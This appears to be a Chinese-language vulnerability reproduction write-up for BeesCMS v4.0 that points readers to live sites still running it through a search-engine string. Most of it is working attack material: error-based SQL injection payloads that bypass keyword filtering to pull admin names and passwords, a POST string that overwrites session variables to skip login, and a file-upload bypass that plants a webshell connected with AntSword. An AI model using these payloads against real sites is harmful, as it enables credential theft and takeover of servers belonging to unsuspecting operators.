本次复现的漏洞有:
Beescms v4.0由于后台登录设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入、文件上传、变量覆盖漏洞。现在依然有许多企业选用BeesCMS4.0,百度搜powerd by BEESCMS © 2010-2015 www.beescms.com 还是有很多站的:
输入admin’报错,此处为显错注入:
admin'
order by 5#
order by 6#
爆数据库名时and被过滤,采用空格+双写绕过:
admin' an and d updatexml(1,concat(0x7e,select database(),0x7e),1)#
依然采用空格+双写绕过:
第一张表:-admin' an and d updatexml(1,concat(0x7e,(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like 'bees' limit 0,1),0x7e),1)#
第二章表:-admin' an and d updatexml(1,concat(0x7e,(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like 'bees' limit 1,1),0x7e),1)#
爆列名:
列名1:admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e),1)#
列名2:admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 2,1),0x7e),1)#
爆字段:
字段1:admin'a and nd updatexml(1,concat(0x7e,(seselectlect admin_name fr from om bees.bees_admin limit 0,1),0x7e),1)#
字段2:admin'a and nd updatexml(1,concat(0x7e,(seselectlect admin_password fr from om bees.bees_admin limit 0,1),0x7e),1)#
首先看一下后台的login.php,这里定义了f1_value()和f1_html()两个函数来进行过滤:
这两个函数在fun.php文件中,跟进看一下这他们的内容:
f1_value()对用户输入的字符串进行了比较严格的过滤,很多手注的关键字跟特殊符号都被过滤了,但也只是过滤一次,双写依然可以bypass。
f1_html()调用了htmlspecialchars()函数,它的作用是把特殊字符进行html实体转义,看似加了一道屏障,实则是加了一处隐患,这个函数虽然也转义’但是转义之后仍然是’,这样就造成了后台的一个报错注入:
这样双写+f1_html漏洞就成功的让我们进行手注来拿后台账号密码了,后期要想写shell,只需要将shell内容进行Hex编码即可绕过htmlspecialchars()函数
这里还有一个文件上传漏洞,我们看一下源码,我们上传的文件是经过is_uploaded_file()函数来检测的:
跟进看一下,这里对文件type进行了白名单检测,所以我们只要修改一下Content-Type为image/jpg,即可绕过,下文我会继续复现此漏洞。
这里存在一个变量覆盖,具体效果就是覆盖_SESSION来绕过后台登录验证,这里定义了一个is_login()函数来检测登录:
跟进is_login(),也是在fun.php里:
这里只要_SESSION[login_in]=1并且_SESSION[admin]=1和_SESSION[login_time]<3600就相当于你已经登录后台了,而它是先初始化变量,在进行登陆判断,又没有对http请求进行设置,所以导致前台POST覆盖变量直接登录后台。
Exp:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
这里在测试的时候出现了问题!虽然我修改了Content-Type,但是上传依然没有成功,我发现无论是.jpg还是.php,它的Content-Type都是multipart/form-data,于是我试了试先传一个图片,然后在修改后缀名,改为.php,结果竟然成功了!
先传一个图片马:
上传成功后修改后缀名突破上传:
而且我发现,上传的木马跟图片的名字是一样的,也就是说你只需要更改上传图片的后缀名即可,这个系统对上传的文件名进行了更改处理,这样一来也不需要去分析上传的时间了!
蚁剑连接: